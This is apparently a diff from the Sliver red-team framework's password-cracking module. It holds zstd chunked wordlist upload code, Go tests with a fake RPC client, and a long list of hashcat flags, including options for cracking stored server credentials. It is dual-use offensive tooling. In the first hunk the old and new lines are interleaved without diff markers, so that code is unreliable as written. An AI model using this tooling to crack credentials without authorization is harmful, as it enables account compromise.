compressor, _ := zstd.NewWriter(tmpFile, zstd.WithEncoderLevel(zstd.SpeedBetterCompression))
|
||||
for {
|
||||
readBuf := make([]byte, 32*1024*1024) // 32MB
|
||||
readN, readErr := wordlistReader.Read(readBuf)
|
||||
if readErr != nil && readErr != io.EOF {
|
||||
return err
|
||||
tmpPath := tmpFile.Name()
|
||||
defer func() {
|
||||
if err := tmpFile.Close(); retErr == nil && err != nil {
|
||||
retErr = err
|
||||
}
|
||||
_ = os.Remove(tmpPath)
|
||||
}()
|
||||
compressor, err := zstd.NewWriter(tmpFile, zstd.WithEncoderLevel(zstd.SpeedBetterCompression))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
compressorClosed := false
|
||||
defer func() {
|
||||
if !compressorClosed {
|
||||
_ = compressor.Close()
|
||||
}
|
||||
}()
|
||||
readBuf := make([]byte, 32*1024*1024) // 32MB
|
||||
for {
|
||||
readN, readErr := wordlistReader.Read(readBuf)
|
||||
if readN != 0 {
|
||||
_, err := compressor.Write(readBuf[:readN])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
compressor.Flush()
|
||||
tmpFileStat, err := os.Stat(tmpFile.Name())
|
||||
if err := compressor.Flush(); err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFileStat, err := tmpFile.Stat()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if tmpFileStat.Size()-start >= chunkSize {
|
||||
stop := start + chunkSize
|
||||
for tmpFileStat.Size()-start >= chunkSize {
|
||||
chunk, err := readChunkAt(tmpFile, start, chunkSize)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
chunks <- chunk
|
||||
start = stop
|
||||
start += int64(len(chunk))
|
||||
}
|
||||
}
|
||||
if readErr != nil && readErr != io.EOF {
|
||||
return readErr
|
||||
}
|
||||
if readErr == io.EOF {
|
||||
chunk, err := readChunkAt(tmpFile, start, chunkSize)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
chunks <- chunk
|
||||
return nil
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if err := compressor.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
compressorClosed = true
|
||||
tmpFileStat, err := tmpFile.Stat()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for start < tmpFileStat.Size() {
|
||||
remaining := tmpFileStat.Size() - start
|
||||
readSize := chunkSize
|
||||
if remaining < readSize {
|
||||
readSize = remaining
|
||||
}
|
||||
chunk, err := readChunkAt(tmpFile, start, readSize)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
chunks <- chunk
|
||||
start += int64(len(chunk))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error) {
|
||||
|
||||
@@ -0,0 +1,372 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"io"
|
||||
"math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/klauspost/compress/zstd"
|
||||
"google.golang.org/grpc"
|
||||
)
|
||||
|
||||
func TestLocalCrackFileInfoHandlesStatErrors(t *testing.T) {
|
||||
wantErr := errors.New("permission denied")
|
||||
info, err := localCrackFileInfoWith("/restricted/file", func(string) (os.FileInfo, error) {
|
||||
return nil, wantErr
|
||||
})
|
||||
if info != nil {
|
||||
t.Fatalf("localCrackFileInfoWith info = %#v, want nil", info)
|
||||
}
|
||||
if !errors.Is(err, wantErr) {
|
||||
t.Fatalf("localCrackFileInfoWith error = %v, want wrapped %v", err, wantErr)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "/restricted/file") {
|
||||
t.Fatalf("localCrackFileInfoWith error = %q, want path context", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLocalCrackFileInfoRejectsDirectories(t *testing.T) {
|
||||
_, err := localCrackFileInfo(t.TempDir())
|
||||
if err == nil || !strings.Contains(err.Error(), "is a directory") {
|
||||
t.Fatalf("localCrackFileInfo directory error = %v, want directory error", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLocalCrackFileInfoAcceptsRegularFile(t *testing.T) {
|
||||
file, err := os.CreateTemp(t.TempDir(), "crack-file-")
|
||||
if err != nil {
|
||||
t.Fatalf("create local crack file: %v", err)
|
||||
}
|
||||
const payload = "hashcat input"
|
||||
if _, err := file.WriteString(payload); err != nil {
|
||||
t.Fatalf("write local crack file: %v", err)
|
||||
}
|
||||
if err := file.Close(); err != nil {
|
||||
t.Fatalf("close local crack file: %v", err)
|
||||
}
|
||||
|
||||
info, err := localCrackFileInfo(file.Name())
|
||||
if err != nil {
|
||||
t.Fatalf("localCrackFileInfo: %v", err)
|
||||
}
|
||||
if info.Size() != int64(len(payload)) {
|
||||
t.Fatalf("localCrackFileInfo size = %d, want %d", info.Size(), len(payload))
|
||||
}
|
||||
}
|
||||
|
||||
func TestUploadCrackFileCleansUpPostCreateFailures(t *testing.T) {
|
||||
readErr := errors.New("read failed")
|
||||
chunkErr := errors.New("chunk upload failed")
|
||||
completeErr := errors.New("complete failed")
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
reader io.Reader
|
||||
configureRPC func(*fakeCrackFileUploadRPC)
|
||||
wantErr error
|
||||
wantChunkCalls int
|
||||
wantCompleteCalls int
|
||||
}{
|
||||
{
|
||||
name: "read failure",
|
||||
reader: errorReader{err: readErr},
|
||||
wantErr: readErr,
|
||||
},
|
||||
{
|
||||
name: "chunk upload failure",
|
||||
reader: bytes.NewReader([]byte("payload")),
|
||||
configureRPC: func(rpc *fakeCrackFileUploadRPC) {
|
||||
rpc.chunkErr = chunkErr
|
||||
},
|
||||
wantErr: chunkErr,
|
||||
wantChunkCalls: 1,
|
||||
},
|
||||
{
|
||||
name: "completion failure",
|
||||
reader: bytes.NewReader([]byte("payload")),
|
||||
configureRPC: func(rpc *fakeCrackFileUploadRPC) {
|
||||
rpc.completeErr = completeErr
|
||||
},
|
||||
wantErr: completeErr,
|
||||
wantChunkCalls: 1,
|
||||
wantCompleteCalls: 1,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
rpc := &fakeCrackFileUploadRPC{}
|
||||
if test.configureRPC != nil {
|
||||
test.configureRPC(rpc)
|
||||
}
|
||||
reservation := &clientpb.CrackFile{ID: "reserved-file", ChunkSize: 1024}
|
||||
|
||||
_, err := uploadCrackFile(test.reader, reservation, rpc, nil)
|
||||
if !errors.Is(err, test.wantErr) {
|
||||
t.Fatalf("uploadCrackFile error = %v, want wrapped %v", err, test.wantErr)
|
||||
}
|
||||
if rpc.chunkCalls != test.wantChunkCalls {
|
||||
t.Fatalf("CrackFileChunkUpload calls = %d, want %d", rpc.chunkCalls, test.wantChunkCalls)
|
||||
}
|
||||
if rpc.completeCalls != test.wantCompleteCalls {
|
||||
t.Fatalf("CrackFileComplete calls = %d, want %d", rpc.completeCalls, test.wantCompleteCalls)
|
||||
}
|
||||
if rpc.deleteCalls != 1 {
|
||||
t.Fatalf("CrackFileDelete calls = %d, want 1", rpc.deleteCalls)
|
||||
}
|
||||
if rpc.deleted == nil || rpc.deleted.ID != reservation.ID {
|
||||
t.Fatalf("CrackFileDelete request = %#v, want ID %q", rpc.deleted, reservation.ID)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestUploadCrackFileReportsCleanupFailure(t *testing.T) {
|
||||
uploadErr := errors.New("chunk upload failed")
|
||||
cleanupErr := errors.New("delete failed")
|
||||
rpc := &fakeCrackFileUploadRPC{chunkErr: uploadErr, deleteErr: cleanupErr}
|
||||
reservation := &clientpb.CrackFile{ID: "reserved-file", ChunkSize: 1024}
|
||||
|
||||
_, err := uploadCrackFile(bytes.NewReader([]byte("payload")), reservation, rpc, nil)
|
||||
if !errors.Is(err, uploadErr) {
|
||||
t.Fatalf("uploadCrackFile error = %v, want wrapped upload error %v", err, uploadErr)
|
||||
}
|
||||
if !errors.Is(err, cleanupErr) {
|
||||
t.Fatalf("uploadCrackFile error = %v, want wrapped cleanup error %v", err, cleanupErr)
|
||||
}
|
||||
if !strings.Contains(err.Error(), reservation.ID) {
|
||||
t.Fatalf("uploadCrackFile error = %q, want reservation ID", err)
|
||||
}
|
||||
if rpc.deleteCalls != 1 {
|
||||
t.Fatalf("CrackFileDelete calls = %d, want 1", rpc.deleteCalls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUploadCrackFileSuccessCompletesWithoutCleanup(t *testing.T) {
|
||||
payload := []byte("correct horse battery staple\n")
|
||||
rpc := &fakeCrackFileUploadRPC{}
|
||||
reservation := &clientpb.CrackFile{ID: "reserved-file", ChunkSize: 8}
|
||||
progressCalls := 0
|
||||
|
||||
total, err := uploadCrackFile(bytes.NewReader(payload), reservation, rpc, func(int64, uint32, int) {
|
||||
progressCalls++
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("uploadCrackFile: %v", err)
|
||||
}
|
||||
if total == 0 {
|
||||
t.Fatal("uploadCrackFile compressed byte count = 0, want non-zero")
|
||||
}
|
||||
if rpc.chunkCalls == 0 {
|
||||
t.Fatal("CrackFileChunkUpload calls = 0, want at least 1")
|
||||
}
|
||||
if progressCalls != rpc.chunkCalls {
|
||||
t.Fatalf("progress calls = %d, want %d", progressCalls, rpc.chunkCalls)
|
||||
}
|
||||
if rpc.completeCalls != 1 {
|
||||
t.Fatalf("CrackFileComplete calls = %d, want 1", rpc.completeCalls)
|
||||
}
|
||||
if rpc.deleteCalls != 0 {
|
||||
t.Fatalf("CrackFileDelete calls = %d, want 0", rpc.deleteCalls)
|
||||
}
|
||||
wantDigest := sha256.Sum256(payload)
|
||||
if rpc.completed == nil || rpc.completed.ID != reservation.ID {
|
||||
t.Fatalf("CrackFileComplete request = %#v, want ID %q", rpc.completed, reservation.ID)
|
||||
}
|
||||
if rpc.completed.Sha2_256 != hex.EncodeToString(wantDigest[:]) {
|
||||
t.Fatalf("CrackFileComplete digest = %q, want %q", rpc.completed.Sha2_256, hex.EncodeToString(wantDigest[:]))
|
||||
}
|
||||
}
|
||||
|
||||
func TestChunkReaderZstdRoundTrip(t *testing.T) {
|
||||
largePayload := make([]byte, 256*1024)
|
||||
if _, err := rand.New(rand.NewSource(42)).Read(largePayload); err != nil {
|
||||
t.Fatalf("create test payload: %v", err)
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
payload []byte
|
||||
chunkSize int64
|
||||
wantMinChunks int
|
||||
}{
|
||||
{
|
||||
name: "single chunk",
|
||||
payload: []byte("correct horse battery staple\n"),
|
||||
chunkSize: 1024,
|
||||
wantMinChunks: 1,
|
||||
},
|
||||
{
|
||||
name: "many chunks from one read",
|
||||
payload: largePayload,
|
||||
chunkSize: 1024,
|
||||
wantMinChunks: 3,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
compressed, chunkCount, err := collectCompressedCrackFile(bytes.NewReader(test.payload), test.chunkSize)
|
||||
if err != nil {
|
||||
t.Fatalf("chunkReader: %v", err)
|
||||
}
|
||||
if chunkCount < test.wantMinChunks {
|
||||
t.Fatalf("chunk count = %d, want at least %d", chunkCount, test.wantMinChunks)
|
||||
}
|
||||
|
||||
decoder, err := zstd.NewReader(bytes.NewReader(compressed))
|
||||
if err != nil {
|
||||
t.Fatalf("open zstd stream: %v", err)
|
||||
}
|
||||
decoded, err := io.ReadAll(decoder)
|
||||
decoder.Close()
|
||||
if err != nil {
|
||||
t.Fatalf("decode zstd stream: %v", err)
|
||||
}
|
||||
if !bytes.Equal(decoded, test.payload) {
|
||||
t.Fatalf("decoded payload does not match input: got %d bytes, want %d", len(decoded), len(test.payload))
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestChunkReaderHandlesDataWithEOF(t *testing.T) {
|
||||
payload := []byte("reader returns data and EOF together")
|
||||
compressed, _, err := collectCompressedCrackFile(&dataEOFReader{data: payload}, 8)
|
||||
if err != nil {
|
||||
t.Fatalf("chunkReader: %v", err)
|
||||
}
|
||||
decoder, err := zstd.NewReader(bytes.NewReader(compressed))
|
||||
if err != nil {
|
||||
t.Fatalf("open zstd stream: %v", err)
|
||||
}
|
||||
decoded, err := io.ReadAll(decoder)
|
||||
decoder.Close()
|
||||
if err != nil {
|
||||
t.Fatalf("decode zstd stream: %v", err)
|
||||
}
|
||||
if !bytes.Equal(decoded, payload) {
|
||||
t.Fatalf("decoded payload = %q, want %q", decoded, payload)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChunkReaderRejectsInvalidChunkSize(t *testing.T) {
|
||||
for _, chunkSize := range []int64{0, -1} {
|
||||
compressed, chunkCount, err := collectCompressedCrackFile(bytes.NewReader([]byte("payload")), chunkSize)
|
||||
if err == nil {
|
||||
t.Fatalf("chunkReader accepted chunk size %d", chunkSize)
|
||||
}
|
||||
if chunkCount != 0 || len(compressed) != 0 {
|
||||
t.Fatalf("invalid chunk size %d emitted %d chunks (%d bytes)", chunkSize, chunkCount, len(compressed))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestChunkReaderPropagatesReadError(t *testing.T) {
|
||||
wantErr := errors.New("read failed")
|
||||
compressed, chunkCount, err := collectCompressedCrackFile(errorReader{err: wantErr}, 1024)
|
||||
if !errors.Is(err, wantErr) {
|
||||
t.Fatalf("chunkReader error = %v, want %v", err, wantErr)
|
||||
}
|
||||
if chunkCount != 0 || len(compressed) != 0 {
|
||||
t.Fatalf("failed read emitted %d chunks (%d bytes)", chunkCount, len(compressed))
|
||||
}
|
||||
}
|
||||
|
||||
func collectCompressedCrackFile(reader io.Reader, chunkSize int64) ([]byte, int, error) {
|
||||
chunks, errCh := readCrackFileChunks(reader, chunkSize)
|
||||
|
||||
compressed := bytes.Buffer{}
|
||||
chunkCount := 0
|
||||
invalidChunk := false
|
||||
for chunk := range chunks {
|
||||
if len(chunk) == 0 || int64(len(chunk)) > chunkSize {
|
||||
invalidChunk = true
|
||||
}
|
||||
_, _ = compressed.Write(chunk)
|
||||
chunkCount++
|
||||
}
|
||||
readerErr := <-errCh
|
||||
if invalidChunk {
|
||||
return nil, chunkCount, errors.New("chunkReader emitted an invalid chunk size")
|
||||
}
|
||||
return compressed.Bytes(), chunkCount, readerErr
|
||||
}
|
||||
|
||||
type dataEOFReader struct {
|
||||
data []byte
|
||||
done bool
|
||||
}
|
||||
|
||||
func (r *dataEOFReader) Read(buffer []byte) (int, error) {
|
||||
if r.done {
|
||||
return 0, io.EOF
|
||||
}
|
||||
r.done = true
|
||||
return copy(buffer, r.data), io.EOF
|
||||
}
|
||||
|
||||
type errorReader struct {
|
||||
err error
|
||||
}
|
||||
|
||||
func (r errorReader) Read([]byte) (int, error) {
|
||||
return 0, r.err
|
||||
}
|
||||
|
||||
type fakeCrackFileUploadRPC struct {
|
||||
rpcpb.SliverRPCClient
|
||||
|
||||
chunkErr error
|
||||
completeErr error
|
||||
deleteErr error
|
||||
|
||||
chunkCalls int
|
||||
completeCalls int
|
||||
deleteCalls int
|
||||
|
||||
uploaded []*clientpb.CrackFileChunk
|
||||
completed *clientpb.CrackFile
|
||||
deleted *clientpb.CrackFile
|
||||
}
|
||||
|
||||
func (f *fakeCrackFileUploadRPC) CrackFileChunkUpload(_ context.Context, request *clientpb.CrackFileChunk, _ ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
f.chunkCalls++
|
||||
f.uploaded = append(f.uploaded, &clientpb.CrackFileChunk{
|
||||
CrackFileID: request.CrackFileID,
|
||||
N: request.N,
|
||||
Data: append([]byte(nil), request.Data...),
|
||||
})
|
||||
if f.chunkErr != nil {
|
||||
return nil, f.chunkErr
|
||||
}
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
|
||||
func (f *fakeCrackFileUploadRPC) CrackFileComplete(_ context.Context, request *clientpb.CrackFile, _ ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
f.completeCalls++
|
||||
f.completed = &clientpb.CrackFile{ID: request.ID, Sha2_256: request.Sha2_256}
|
||||
if f.completeErr != nil {
|
||||
return nil, f.completeErr
|
||||
}
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
|
||||
func (f *fakeCrackFileUploadRPC) CrackFileDelete(_ context.Context, request *clientpb.CrackFile, _ ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
f.deleteCalls++
|
||||
f.deleted = &clientpb.CrackFile{ID: request.ID}
|
||||
if f.deleteErr != nil {
|
||||
return nil, f.deleteErr
|
||||
}
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
@@ -3,15 +3,22 @@ package crack
|
||||
import "github.com/spf13/pflag"
|
||||
|
||||
func bindCrackFlags(f *pflag.FlagSet) {
|
||||
f.String("attack-mode", "", "crack attack mode (straight, combination, bruteforce, hybrid-wordlist-mask, hybrid-mask-wordlist, association, no-attack, or numeric)")
|
||||
f.String("hash-type", "", "hashcat hash type (number or enum name)")
|
||||
f.StringSlice("hash", nil, "hashes to crack (repeatable)")
|
||||
f.StringP("attack-mode", "a", "", "crack attack mode (straight, combination, bruteforce, pcfg, hybrid-wordlist-mask, hybrid-mask-wordlist, generic, association, no-attack, hybrid, or numeric)")
|
||||
f.StringP("hash-type", "m", "", "hashcat hash type (number or enum name)")
|
||||
f.Uint32("hash-mode", 0, "canonical numeric hashcat mode (overrides hash-type)")
|
||||
f.StringArray("hash", nil, "hashes to crack (repeatable)")
|
||||
f.StringArray("credential", nil, "server credential ID or ID prefix to crack (repeatable)")
|
||||
f.String("credential-collection", "", "server credential collection to crack")
|
||||
f.Bool("include-cracked-credentials", false, "include credentials already marked as cracked")
|
||||
f.StringArray("input", nil, "ordered positional hashcat inputs (repeatable)")
|
||||
f.String("stdin", "", "data supplied to hashcat standard input")
|
||||
f.Bool("quiet", false, "quiet mode")
|
||||
f.Bool("hex-charset", false, "treat charset as hex")
|
||||
f.Bool("hex-salt", false, "treat salt as hex")
|
||||
f.Bool("hex-wordlist", false, "treat wordlist as hex")
|
||||
f.Bool("force", false, "ignore warnings")
|
||||
f.Bool("deprecated-check-disable", false, "disable deprecated check")
|
||||
f.Bool("advice-disable", false, "disable hashcat advice")
|
||||
f.Bool("status", false, "enable status")
|
||||
f.Bool("status-json", false, "emit status in JSON")
|
||||
f.Uint32("status-timer", 0, "status timer interval (seconds)")
|
||||
@@ -30,12 +37,15 @@ func bindCrackFlags(f *pflag.FlagSet) {
|
||||
f.Bool("restore", false, "restore session")
|
||||
f.Bool("restore-disable", false, "disable restore")
|
||||
f.String("restore-file", "", "restore file path or identifier")
|
||||
f.Bool("restore-position", false, "restore from the stored position")
|
||||
f.Bool("restore-show-command", false, "display the stored restore command and stop")
|
||||
f.String("outfile", "", "outfile path or identifier")
|
||||
f.StringSlice("outfile-format", nil, "outfile formats (hash-salt, plain, hex-plain, crack-pos, timestamp-absolute, timestamp-relative, or numeric)")
|
||||
f.Bool("outfile-json", false, "write outfile records as JSON")
|
||||
f.Bool("outfile-autohex-disable", false, "disable outfile autohex")
|
||||
f.Uint32("outfile-check-timer", 0, "outfile check timer interval (seconds)")
|
||||
f.Bool("wordlist-autohex-disable", false, "disable wordlist autohex")
|
||||
f.String("separator", "", "separator character")
|
||||
f.Bool("stdout", false, "stdout output")
|
||||
f.Bool("show", false, "show cracked hashes")
|
||||
f.Bool("left", false, "show uncracked hashes")
|
||||
f.Bool("username", false, "enable username handling")
|
||||
@@ -43,33 +53,52 @@ func bindCrackFlags(f *pflag.FlagSet) {
|
||||
f.Uint32("remove-timer", 0, "remove timer interval (seconds)")
|
||||
f.Bool("potfile-disable", false, "disable potfile")
|
||||
f.String("potfile", "", "potfile path or identifier")
|
||||
f.String("encoding-from", "", "input encoding (iso-8859-15, utf-32le, or numeric)")
|
||||
f.String("encoding-to", "", "output encoding (iso-8859-15, utf-32le, or numeric)")
|
||||
f.String("encoding-from", "", "input encoding name (legacy enum names and numbers are also accepted)")
|
||||
f.String("encoding-to", "", "output encoding name (legacy enum names and numbers are also accepted)")
|
||||
f.Uint32("debug-mode", 0, "debug mode mask")
|
||||
f.String("debug-file", "", "debug file path or identifier")
|
||||
f.String("induction-dir", "", "induction directory path or identifier")
|
||||
f.String("outfile-check-dir", "", "outfile-check directory path or identifier")
|
||||
f.Bool("logfile-disable", false, "disable logfile")
|
||||
f.Uint32("hccapx-message-pair", 0, "hccapx message pair")
|
||||
f.Uint32("nonce-error-corrections", 0, "nonce error corrections")
|
||||
f.String("keyboard-layout-mapping", "", "keyboard layout mapping file or identifier")
|
||||
f.String("keyboard-layout-mapping", "", "local keyboard layout mapping file")
|
||||
f.String("truecrypt-keyfiles", "", "TrueCrypt keyfiles path or identifier")
|
||||
f.String("veracrypt-keyfiles", "", "VeraCrypt keyfiles path or identifier")
|
||||
f.Uint32("veracrypt-pim-start", 0, "VeraCrypt PIM start")
|
||||
f.Uint32("veracrypt-pim-stop", 0, "VeraCrypt PIM stop")
|
||||
f.Bool("benchmark", false, "run benchmark")
|
||||
f.Bool("benchmark-all", false, "run full benchmark")
|
||||
f.Uint32("benchmark-min", 0, "minimum benchmark runtime")
|
||||
f.Uint32("benchmark-max", 0, "maximum benchmark runtime")
|
||||
f.Bool("speed-only", false, "show speed only")
|
||||
f.Bool("progress-only", false, "show progress only")
|
||||
f.Uint32("segment-size", 0, "segment size")
|
||||
f.Uint32("segment-size", 0, "deprecated: removed in Hashcat v7")
|
||||
f.Bool("pipeline-stats", false, "show pipeline statistics")
|
||||
f.Bool("task-time-breakdown", false, "show task time breakdown")
|
||||
f.Uint32("bitmap-min", 0, "bitmap min")
|
||||
f.Uint32("bitmap-max", 0, "bitmap max")
|
||||
f.UintSlice("cpu-affinity", nil, "CPU affinity list")
|
||||
f.Uint32("hook-threads", 0, "hook threads")
|
||||
f.Bool("hash-info", false, "show hash information")
|
||||
f.Bool("hash-info", false, "show hash information from an idle crackstation (does not create a job)")
|
||||
f.Uint32("hash-info-level", 0, "hash information detail level: 1 or 2 (does not create a job)")
|
||||
f.Bool("backend-ignore-cuda", false, "ignore CUDA backend")
|
||||
f.Bool("backend-ignore-hip", false, "ignore HIP backend")
|
||||
f.Bool("backend-ignore-metal", false, "ignore Metal backend")
|
||||
f.Bool("backend-ignore-opencl", false, "ignore OpenCL backend")
|
||||
f.Bool("backend-info", false, "show backend info")
|
||||
f.Bool("backend-info", false, "show registered backend info for all connected crackstations (does not create a job)")
|
||||
f.Uint32("backend-info-level", 0, "registered backend information detail level: 1 or 2 (does not create a job)")
|
||||
f.UintSlice("backend-devices", nil, "backend device IDs")
|
||||
f.Uint32("backend-devices-virtmulti", 0, "virtual backend device multiplier")
|
||||
f.Uint32("backend-devices-virthost", 0, "virtual backend host count")
|
||||
f.UintSlice("opencl-device-types", nil, "OpenCL device types")
|
||||
f.Uint32("metal-compiler-runtime", 0, "Metal compiler runtime")
|
||||
f.Bool("optimized-kernel-enable", false, "enable optimized kernels")
|
||||
f.Bool("multiply-accel-disabled", false, "disable multiply accel")
|
||||
f.String("workload-profile", "", "workload profile (low, default, high, nightmare, or numeric)")
|
||||
f.Bool("multiply-accel-disable", false, "disable multiply accel")
|
||||
f.Bool("multiply-accel-disabled", false, "deprecated alias for multiply-accel-disable")
|
||||
_ = f.MarkDeprecated("multiply-accel-disabled", "use --multiply-accel-disable")
|
||||
_ = f.MarkHidden("multiply-accel-disabled")
|
||||
f.String("workload-profile", "", "deprecated: accepted but ignored by Hashcat v7")
|
||||
f.Uint32("kernel-accel", 0, "kernel acceleration")
|
||||
f.Uint32("kernel-loops", 0, "kernel loops")
|
||||
f.Uint32("kernel-threads", 0, "kernel threads")
|
||||
@@ -80,22 +109,47 @@ func bindCrackFlags(f *pflag.FlagSet) {
|
||||
f.Uint32("scrypt-tmto", 0, "scrypt tmto")
|
||||
f.Uint64("skip", 0, "skip count")
|
||||
f.Uint64("limit", 0, "limit count")
|
||||
f.Bool("keyspace", false, "show keyspace")
|
||||
f.String("rules-file", "", "rules file path or identifier")
|
||||
f.Bool("keyspace", false, "calculate keyspace on an idle crackstation and return it (does not create a job)")
|
||||
f.Bool("total-candidates", false, "calculate the total candidate count on an idle crackstation (does not create a job)")
|
||||
f.String("lookup", "", "locate a candidate in the attack on an idle crackstation (does not create a job)")
|
||||
f.String("crackstation", "", "target an exact crackstation name or host UUID for a synchronous query")
|
||||
f.Bool("dynamic-x", false, "enable dynamic-X mode")
|
||||
f.String("seekdb-path", "", "seek database path or identifier")
|
||||
f.String("rule-left", "", "left combinator rule")
|
||||
f.String("rule-right", "", "right combinator rule")
|
||||
f.StringArray("rules-file", nil, "rules file content or identifier (repeatable)")
|
||||
f.Uint32("generate-rules", 0, "generate rules")
|
||||
f.Uint32("generate-rules-fun-min", 0, "generate rules function min")
|
||||
f.Uint32("generate-rules-fun-max", 0, "generate rules function max")
|
||||
f.Uint32("generate-rules-func-min", 0, "generate rules function min")
|
||||
f.Uint32("generate-rules-func-max", 0, "generate rules function max")
|
||||
f.Uint32("generate-rules-fun-min", 0, "deprecated alias for generate-rules-func-min")
|
||||
f.Uint32("generate-rules-fun-max", 0, "deprecated alias for generate-rules-func-max")
|
||||
_ = f.MarkDeprecated("generate-rules-fun-min", "use --generate-rules-func-min")
|
||||
_ = f.MarkHidden("generate-rules-fun-min")
|
||||
_ = f.MarkDeprecated("generate-rules-fun-max", "use --generate-rules-func-max")
|
||||
_ = f.MarkHidden("generate-rules-fun-max")
|
||||
f.String("generate-rules-func-sel", "", "generate rules function selection")
|
||||
f.Int32("generate-rules-seed", 0, "generate rules seed")
|
||||
f.String("custom-charset1", "", "custom charset 1")
|
||||
f.String("custom-charset2", "", "custom charset 2")
|
||||
f.String("custom-charset3", "", "custom charset 3")
|
||||
f.String("custom-charset4", "", "custom charset 4")
|
||||
f.String("identify", "", "identify hash")
|
||||
f.String("custom-charset5", "", "custom charset 5")
|
||||
f.String("custom-charset6", "", "custom charset 6")
|
||||
f.String("custom-charset7", "", "custom charset 7")
|
||||
f.String("custom-charset8", "", "custom charset 8")
|
||||
f.String("identify", "", "deprecated: legacy positional input")
|
||||
f.Bool("identify-mode", false, "identify hash types on an idle crackstation (does not create a job)")
|
||||
f.Bool("increment", false, "incremental mode")
|
||||
f.Bool("increment-inverse", false, "inverse incremental mode")
|
||||
f.Uint32("increment-min", 0, "increment min")
|
||||
f.Uint32("increment-max", 0, "increment max")
|
||||
f.Uint32("bypass-delay", 0, "bypass delay")
|
||||
f.Uint32("bypass-threshold", 0, "bypass threshold")
|
||||
f.Bool("slow-candidates", false, "slow candidates")
|
||||
f.String("bridge-parameter1", "", "bridge parameter 1")
|
||||
f.String("bridge-parameter2", "", "bridge parameter 2")
|
||||
f.String("bridge-parameter3", "", "bridge parameter 3")
|
||||
f.String("bridge-parameter4", "", "bridge parameter 4")
|
||||
f.Bool("brain-server", false, "brain server mode")
|
||||
f.Uint32("brain-server-timer", 0, "brain server timer")
|
||||
f.Bool("brain-client", false, "brain client mode")
|
||||
@@ -105,4 +159,8 @@ func bindCrackFlags(f *pflag.FlagSet) {
|
||||
f.String("brain-password", "", "brain password")
|
||||
f.String("brain-session", "", "brain session")
|
||||
f.String("brain-session-whitelist", "", "brain session whitelist")
|
||||
f.Bool("brain-feed", false, "brain feed mode")
|
||||
f.Bool("color-cracked", false, "color cracked output")
|
||||
f.Bool("hash-copy", false, "copy hashes")
|
||||
f.String("encrypt-with-pubkey", "", "public key path or identifier used to encrypt output")
|
||||
}
|
||||
@@ -0,0 +1,988 @@
|
||||
package crack
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2026 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"google.golang.org/protobuf/reflect/protoreflect"
|
||||
)
|
||||
|
||||
type crackJobFetcher func(context.Context, string) (*clientpb.CrackJob, error)
|
||||
|
||||
var errNoCrackJobs = errors.New("no crack jobs")
|
||||
|
||||
// CrackJobsCmd lists all durable cracking jobs known to the server.
|
||||
//
|
||||
//nolint:revive // Keep the established exported command-handler name for compatibility.
|
||||
